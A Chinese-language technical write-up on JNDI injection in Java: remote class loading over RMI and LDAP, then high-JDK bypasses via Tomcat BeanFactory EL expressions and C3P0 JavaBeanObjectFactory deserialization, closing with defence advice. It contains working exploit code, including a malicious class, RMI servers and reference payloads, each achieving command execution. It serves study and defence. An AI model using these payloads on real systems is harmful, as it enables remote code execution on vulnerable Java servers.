jndi +JavaBeanObjectFactory 实现高版本绕过
字数 1352 2025-11-21 12:49:55
JNDI注入与高版本绕过技术详解
1. 低版本JNDI注入原理
1.1 RMI注入实现
恶意类构造
import java.lang.Runtime;
public class test{
static {
try{
Runtime.getRuntime().exec("calc");
}catch (Exception e){
System.out.println(e);
}
}
public test(){}
}
服务端代码
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.createRegistry(7777);
Reference reference = new Reference("test", "test", "http://localhost/");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("calc", wrapper);
}
}
客户端代码
import javax.naming.InitialContext;
public class JNDI_Test {
public static void main(String[] args) throws Exception{
new InitialContext().lookup("rmi://127.0.0.1:7777/calc");
}
}
1.2 漏洞分析流程
- 调用链起点:
RegistryContext.lookup() - 关键方法:
decodeObject()→getObjectInstance() - 类加载机制:
helper.loadClass(factoryName)尝试本地加载- 本地不存在时调用
helper.loadClass(factoryName, codebase)远程加载
- 触发点:
clas.newInstance()实例化恶意类
完整调用栈:
loadClass:73, VersionHelper12 (com.sun.naming.internal)
loadClass:61, VersionHelper12 (com.sun.naming.internal)
getObjectFactoryFromReference:146, NamingManager (javax.naming.spi)
getObjectInstance:319, NamingManager (javax.naming.spi)
decodeObject:464, RegistryContext (com.sun.jndi.rmi.registry)
lookup:124, RegistryContext (com.sun.jndi.rmi.registry)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)
1.3 LDAP注入实现
使用yakit启动LDAP服务端,客户端代码:
new InitialContext().lookup("ldap://127.0.0.1:8085/ecEzwVXo");
调用栈差异:
使用DirectoryManager.getObjectInstance替代NamingManager.getObjectInstance
2. 高版本JDK限制与绕过
2.1 高版本限制机制
在decodeObject方法中添加判断:
if (ref.getFactoryClassLocation() != null && !trustURLCodebase) {
throw new ConfigurationException();
}
绕过条件:
- 令
ref为空 - 令
ref.getFactoryClassLocation()返回空 - 令
trustURLCodebase为true
2.2 BeanFactory利用(Tomcat)
依赖配置:
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.0</version>
</dependency>
<dependency>
<groupId>org.apache.el</groupId>
<artifactId>com.springsource.org.apache.el</artifactId>
<version>7.0.26</version>
</dependency>
服务端构造:
Registry registry = LocateRegistry.createRegistry(7777);
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", """.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("calc", referenceWrapper);
技术要点:
- 使用本地工厂类
org.apache.naming.factory.BeanFactory - 通过EL表达式实现代码执行
classFactoryLocation属性为空绕过检测
2.3 JavaBeanObjectFactory利用(C3P0)
依赖配置:
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>
2.3.1 反序列化点分析
关键方法:getObjectInstance()中的反序列化操作
点1:REF_PROPS_KEY反序列化
BinaryRefAddr var9 = (BinaryRefAddr)var6.remove("com.mchange.v2.naming.JavaBeanReferenceMaker.REF_PROPS_KEY");
if (var9 != null) {
var12 = (Set)SerializableUtils.fromByteArray((byte[])((byte[])var9.getContent()));
}
构造Payload:
Reference ref = new Reference("java.lang.Object", "com.mchange.v2.naming.JavaBeanObjectFactory", null);
ref.add(new BinaryRefAddr("com.mchange.v2.naming.JavaBeanReferenceMaker.REF_PROPS_KEY", Utils.base64ToByte("base64序列化字节")));
点2:createPropertyMap中的反序列化
Object val = SerializableUtils.fromByteArray(ba);
2.3.2 setter方法利用
关键代码构造:
Reference ref = new Reference("com.mchange.v2.c3p0.WrapperConnectionPoolDataSource", "com.mchange.v2.naming.JavaBeanObjectFactory", null);
String poc = "HEX序列化数据";
ref.add(new StringRefAddr("userOverridesAsString", "HexAsciiSerializedMap:" + poc + ";"));
触发流程:
findBean方法调用setter方法- 比较
userOverridesAsString与hex字节码 - 触发
VetoableChangeSupport.fireVetoableChange - 调用
WrapperConnectionPoolDataSource.VetoableChange - 执行
parseUserOverridesAsString方法 - 反序列化hex数据触发RCE
调试关键点:
classFactoryLocation为空绕过检测- 本地工厂类成功加载
- setter方法触发反序列化链
3. 技术总结
3.1 利用条件
- 存在JNDI注入点
- 目标环境包含特定依赖(Tomcat/C3P0)
- 高版本JDK需使用本地工厂类绕过
3.2 防御建议
- 升级JDK版本并设置
trustURLCodebase为false - 限制不必要的依赖引入
- 对JNDI查询进行输入验证和过滤
- 使用安全管理器限制代码执行权限
3.3 技术演进
从低版本的远程类加载到高版本的本地工厂类利用,体现了安全防护与绕过技术的持续对抗。理解这些技术细节有助于更好地防御相关攻击。